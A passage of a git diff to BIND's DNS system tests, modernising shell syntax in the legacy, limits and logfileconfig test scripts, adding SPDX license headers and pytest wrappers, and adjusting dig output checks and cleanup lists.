@@ -20,8 +22,8 @@ infile=edns512.db.in
 zonefile=edns512.db
 outfile=edns512.db.signed
 
-keyname1=`$KEYGEN -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 
diff --git a/bin/tests/system/legacy/ns7/edns512-notcp.db.in b/bin/tests/system/legacy/ns7/edns512-notcp.db.in
index eef00b1238..e181ca415b 100644
--- a/bin/tests/system/legacy/ns7/edns512-notcp.db.in
+++ b/bin/tests/system/legacy/ns7/edns512-notcp.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns7/named.args b/bin/tests/system/legacy/ns7/named.args
index e491a95dc6..1da498080f 100644
--- a/bin/tests/system/legacy/ns7/named.args
+++ b/bin/tests/system/legacy/ns7/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D legacy-ns7 -X named.lock -g -U 4 -T maxcachesize=2097152 -T maxudp512
+-m record -c named.conf -d 99 -D legacy-ns7 -X named.lock -g -U 4 -T maxcachesize=2097152 -T maxudp512
diff --git a/bin/tests/system/legacy/ns7/named.conf.in b/bin/tests/system/legacy/ns7/named.conf.in
index 68bf98ce6b..30f3ea2278 100644
--- a/bin/tests/system/legacy/ns7/named.conf.in
+++ b/bin/tests/system/legacy/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns7/sign.sh b/bin/tests/system/legacy/ns7/sign.sh
index 71fce752d3..c2153f9309 100755
--- a/bin/tests/system/legacy/ns7/sign.sh
+++ b/bin/tests/system/legacy/ns7/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -20,8 +22,8 @@ infile=edns512-notcp.db.in
 zonefile=edns512-notcp.db
 outfile=edns512-notcp.db.signed
 
-keyname1=`$KEYGEN -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null` 
-keyname2=`$KEYGEN -f KSK -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null`
+keyname1=$($KEYGEN -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null)
+keyname2=$($KEYGEN -f KSK -a RSASHA512 -b 4096 -n zone $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 
diff --git a/bin/tests/system/legacy/ns8/ednsformerr.db b/bin/tests/system/legacy/ns8/ednsformerr.db
index caac70d26a..9aa3a4af5f 100644
--- a/bin/tests/system/legacy/ns8/ednsformerr.db
+++ b/bin/tests/system/legacy/ns8/ednsformerr.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns8/named.conf.in b/bin/tests/system/legacy/ns8/named.conf.in
index b743c7d278..7431cf82b7 100644
--- a/bin/tests/system/legacy/ns8/named.conf.in
+++ b/bin/tests/system/legacy/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns9/ednsnotimp.db b/bin/tests/system/legacy/ns9/ednsnotimp.db
index caac70d26a..9aa3a4af5f 100644
--- a/bin/tests/system/legacy/ns9/ednsnotimp.db
+++ b/bin/tests/system/legacy/ns9/ednsnotimp.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns9/named.conf.in b/bin/tests/system/legacy/ns9/named.conf.in
index 4571dec4c1..385fbfd8d3 100644
--- a/bin/tests/system/legacy/ns9/named.conf.in
+++ b/bin/tests/system/legacy/ns9/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/setup.sh b/bin/tests/system/legacy/setup.sh
index 436d217b51..d2a53bb132 100644
--- a/bin/tests/system/legacy/setup.sh
+++ b/bin/tests/system/legacy/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/legacy/tests.sh b/bin/tests/system/legacy/tests.sh
index 7fb35a14cc..44d3b1196f 100755
--- a/bin/tests/system/legacy/tests.sh
+++ b/bin/tests/system/legacy/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT} +tries=1 +time=2"
@@ -30,9 +34,9 @@ resolution_succeeds() {
 resolution_fails() {
 	_servfail=0
 	_timeout=0
-	$DIG $DIGOPTS +tcp +tries=3 +time=5 @10.53.0.1 ${1} TXT > dig.out.test$n
-	grep "status: SERVFAIL" dig.out.test$n > /dev/null && _servfail=1
-	grep "connection timed out" dig.out.test$n > /dev/null && _timeout=1
+	$DIG $DIGOPTS +tcp +time=5 @10.53.0.1 ${1} TXT > dig.out.test$n
+	grep -F "status: SERVFAIL" dig.out.test$n > /dev/null && _servfail=1
+	grep -F "timed out" dig.out.test$n > /dev/null && _timeout=1
 	if [ $_servfail -eq 1 ] || [ $_timeout -eq 1 ]; then
 		return 0
 	else
@@ -43,7 +47,7 @@ resolution_fails() {
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking formerr edns server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.8 ednsformerr soa > dig.out.1.test$n || ret=1
@@ -53,16 +57,16 @@ $DIG $DIGOPTS +noedns @10.53.0.8 ednsformerr soa > dig.out.2.test$n || ret=1
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to formerr edns server succeeds ($n)"
 ret=0
 resolution_succeeds ednsformerr. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking notimp edns server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.9 ednsnotimp soa > dig.out.1.test$n || ret=1
@@ -72,16 +76,16 @@ $DIG $DIGOPTS +noedns @10.53.0.9 ednsnotimp soa > dig.out.2.test$n || ret=1
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to notimp edns server fails ($n)"
 ret=0
 resolution_fails ednsnotimp. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking refused edns server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.10 ednsrefused soa > dig.out.1.test$n || ret=1
@@ -91,20 +95,21 @@ $DIG $DIGOPTS +noedns @10.53.0.10 ednsrefused soa > dig.out.2.test$n || ret=1
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to refused edns server fails ($n)"
 ret=0
 resolution_fails ednsrefused. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking drop edns server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.2 dropedns soa > dig.out.1.test$n && ret=1
-grep "connection timed out; no servers could be reached" dig.out.1.test$n > /dev/null || ret=1
+grep "timed out" dig.out.1.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.1.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +noedns @10.53.0.2 dropedns soa > dig.out.2.test$n || ret=1
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null && ret=1
@@ -112,38 +117,40 @@ $DIG $DIGOPTS +noedns +tcp @10.53.0.2 dropedns soa > dig.out.3.test$n || ret=1
 grep "status: NOERROR" dig.out.3.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.3.test$n > /dev/null && ret=1
 $DIG $DIGOPTS +edns +tcp @10.53.0.2 dropedns soa > dig.out.4.test$n && ret=1
-grep "connection timed out; no servers could be reached" dig.out.4.test$n > /dev/null || ret=1
+grep "timed out" dig.out.4.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to drop edns server fails ($n)"
 ret=0
 resolution_fails dropedns. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking drop edns + no tcp server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.3 dropedns-notcp soa > dig.out.1.test$n && ret=1
-grep "connection timed out; no servers could be reached" dig.out.1.test$n > /dev/null || ret=1
+grep "timed out" dig.out.1.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.1.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +noedns +tcp @10.53.0.3 dropedns-notcp soa > dig.out.2.test$n && ret=1
 grep "connection refused" dig.out.2.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +noedns @10.53.0.3 dropedns-notcp soa > dig.out.3.test$n || ret=1
 grep "status: NOERROR" dig.out.3.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to drop edns + no tcp server fails ($n)"
 ret=0
 resolution_fails dropedns-notcp. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking plain dns server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.4 plain soa > dig.out.1.test$n || ret=1
@@ -153,33 +160,33 @@ $DIG $DIGOPTS +edns +tcp @10.53.0.4 plain soa > dig.out.2.test$n
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to plain dns server succeeds ($n)"
 ret=0
 resolution_succeeds plain. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking plain dns + no tcp server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.5 plain-notcp soa > dig.out.1.test$n || ret=1
 grep "status: NOERROR" dig.out.1.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.1.test$n > /dev/null && ret=1
-$DIG $DIGOPTS +edns +tcp @10.53.0.5 plain-notcp soa > dig.out.2.test$n
+$DIG $DIGOPTS +edns +tcp @10.53.0.5 plain-notcp soa > dig.out.2.test$n && ret=1
 grep "connection refused" dig.out.2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to plain dns + no tcp server succeeds ($n)"
 ret=0
 resolution_succeeds plain-notcp. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "checking edns 512 server setup ($n)"
 ret=0
@@ -190,22 +197,23 @@ $DIG $DIGOPTS +edns +tcp @10.53.0.6 edns512 txt > dig.out.2.test$n || ret=1
 grep "status: NOERROR" dig.out.2.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.2.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +edns +dnssec @10.53.0.6 edns512 txt > dig.out.3.test$n && ret=1
-grep "connection timed out; no servers could be reached" dig.out.3.test$n > /dev/null || ret=1
+grep "timed out" dig.out.3.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.3.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +edns +dnssec +bufsize=512 +ignore @10.53.0.6 edns512 soa > dig.out.4.test$n || ret=1
 grep "status: NOERROR" dig.out.4.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.4.test$n > /dev/null || ret=1
 grep "flags:.* tc[ ;]" dig.out.4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to edns 512 server succeeds ($n)"
 ret=0
 retry_quiet 3 resolution_succeeds edns512. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking edns 512 + no tcp server setup ($n)"
 ret=0
 $DIG $DIGOPTS +edns @10.53.0.7 edns512-notcp soa > dig.out.1.test$n || ret=1
@@ -214,37 +222,38 @@ grep "EDNS: version:" dig.out.1.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +edns +tcp @10.53.0.7 edns512-notcp soa > dig.out.2.test$n && ret=1
 grep "connection refused" dig.out.2.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +edns +dnssec @10.53.0.7 edns512-notcp soa > dig.out.3.test$n && ret=1
-grep "connection timed out; no servers could be reached" dig.out.3.test$n > /dev/null || ret=1
+grep "timed out" dig.out.3.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.3.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +edns +dnssec +bufsize=512 +ignore @10.53.0.7 edns512-notcp soa > dig.out.4.test$n || ret=1
 grep "status: NOERROR" dig.out.4.test$n > /dev/null || ret=1
 grep "EDNS: version:" dig.out.4.test$n > /dev/null || ret=1
 grep "flags:.* tc[ ;]" dig.out.4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to edns 512 + no tcp server fails ($n)"
 ret=0
 resolution_fails edns512-notcp. || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to edns 512 + no tcp server does not cause query loops ($n)"
 ret=0
-sent=`grep -c -F "sending packet to 10.53.0.7" ns1/named.run`
+sent=$(grep -c -F "sending packet to 10.53.0.7" ns1/named.run)
 if [ $sent -ge 10 ]; then
 	echo_i "ns1 sent $sent queries to ns7, expected less than 10"
 	ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} legacy ns1
+stop_server --use-rndc --port ${CONTROLPORT} ns1
 copy_setports ns1/named2.conf.in ns1/named.conf
-start_server --noclean --restart --port ${PORT} legacy ns1
+start_server --noclean --restart --port ${PORT} ns1
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking recursive lookup to edns 512 + no tcp + trust anchor fails ($n)"
 # retry loop in case the server restart above causes transient failure
 for try in 0 1 2 3 4 5 6 7 8 9; do
@@ -254,7 +263,7 @@ for try in 0 1 2 3 4 5 6 7 8 9; do
     sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/legacy/tests_sh_legacy.py b/bin/tests/system/legacy/tests_sh_legacy.py
new file mode 100644
index 0000000000..ded36f049b
--- /dev/null
+++ b/bin/tests/system/legacy/tests_sh_legacy.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_legacy(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/limits/clean.sh b/bin/tests/system/limits/clean.sh
index 5015fe71ff..b69c695afb 100644
--- a/bin/tests/system/limits/clean.sh
+++ b/bin/tests/system/limits/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/limits/ns1/example.db b/bin/tests/system/limits/ns1/example.db
index 1fc5ec63d2..89980187e7 100644
--- a/bin/tests/system/limits/ns1/example.db
+++ b/bin/tests/system/limits/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/limits/ns1/named.conf.in b/bin/tests/system/limits/ns1/named.conf.in
index a2724a4d30..780f9e21cb 100644
--- a/bin/tests/system/limits/ns1/named.conf.in
+++ b/bin/tests/system/limits/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/limits/ns1/root.db b/bin/tests/system/limits/ns1/root.db
index 12486d71d7..b93cf32218 100644
--- a/bin/tests/system/limits/ns1/root.db
+++ b/bin/tests/system/limits/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/limits/setup.sh b/bin/tests/system/limits/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/limits/setup.sh
+++ b/bin/tests/system/limits/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/limits/tests.sh b/bin/tests/system/limits/tests.sh
index cc115ab85f..f2cf0fb5bb 100644
--- a/bin/tests/system/limits/tests.sh
+++ b/bin/tests/system/limits/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
diff --git a/bin/tests/system/limits/tests_sh_limits.py b/bin/tests/system/limits/tests_sh_limits.py
new file mode 100644
index 0000000000..c7fb5ba779
--- /dev/null
+++ b/bin/tests/system/limits/tests_sh_limits.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_limits(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/logfileconfig/clean.sh b/bin/tests/system/logfileconfig/clean.sh
index dd179a6549..befbcfe84e 100644
--- a/bin/tests/system/logfileconfig/clean.sh
+++ b/bin/tests/system/logfileconfig/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,10 +14,9 @@
 #
 # Clean up after log file tests
 #
-rm -f ns1/rndc.conf
-rm -f ns1/controls.conf
 rm -f ns1/named.conf
-rm -f ns1/named.pid ns1/named.run
+rm -f ns1/named.args
+rm -f ns1/named.pid ns1/named.run ns1/named.run.prev
 rm -f ns1/named.memstats ns1/dig.out
 rm -f ns1/named_log ns1/named_pipe ns1/named_sym
 rm -rf ns1/named_dir
@@ -30,6 +31,8 @@ rm -f ns1/named_vers
 rm -f ns1/named_vers.*
 rm -f ns1/named_ts
 rm -f ns1/named_ts.*
+rm -f ns1/named_inc
+rm -f ns1/named_inc.*
 rm -f ns1/named_unlimited
 rm -f ns1/named_unlimited.*
 rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/logfileconfig/named1.args b/bin/tests/system/logfileconfig/named1.args
new file mode 100644
index 0000000000..764d4c969e
--- /dev/null
+++ b/bin/tests/system/logfileconfig/named1.args
@@ -0,0 +1 @@
+-c named.conf -m record -T nosyslog -d 99 -D logfileconfig-ns1 -X named.lock -U 4
diff --git a/bin/tests/system/logfileconfig/named2.args b/bin/tests/system/logfileconfig/named2.args
new file mode 100644
index 0000000000..fb9fe57371
--- /dev/null
+++ b/bin/tests/system/logfileconfig/named2.args
@@ -0,0 +1 @@
+-c named.conf -m record -T nosyslog -d 99 -D logfileconfig-ns1 -X named.lock -U 4 -L named_deflog
diff --git a/bin/tests/system/logfileconfig/ns1/controls.conf.in b/bin/tests/system/logfileconfig/ns1/controls.conf.in
deleted file mode 100644
index 74084d96af..0000000000
--- a/bin/tests/system/logfileconfig/ns1/controls.conf.in
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls {
-	inet 127.0.0.1 port @CONTROLPORT@
-		allow { 127.0.0.1/32; ::1/128; }
-		keys { "rndc-key"; };
-};
diff --git a/bin/tests/system/logfileconfig/ns1/named.abspathconf.in b/bin/tests/system/logfileconfig/ns1/named.abspathconf.in
new file mode 100644
index 0000000000..fdf8a8ace2
--- /dev/null
+++ b/bin/tests/system/logfileconfig/ns1/named.abspathconf.in
@@ -0,0 +1,52 @@
+/*
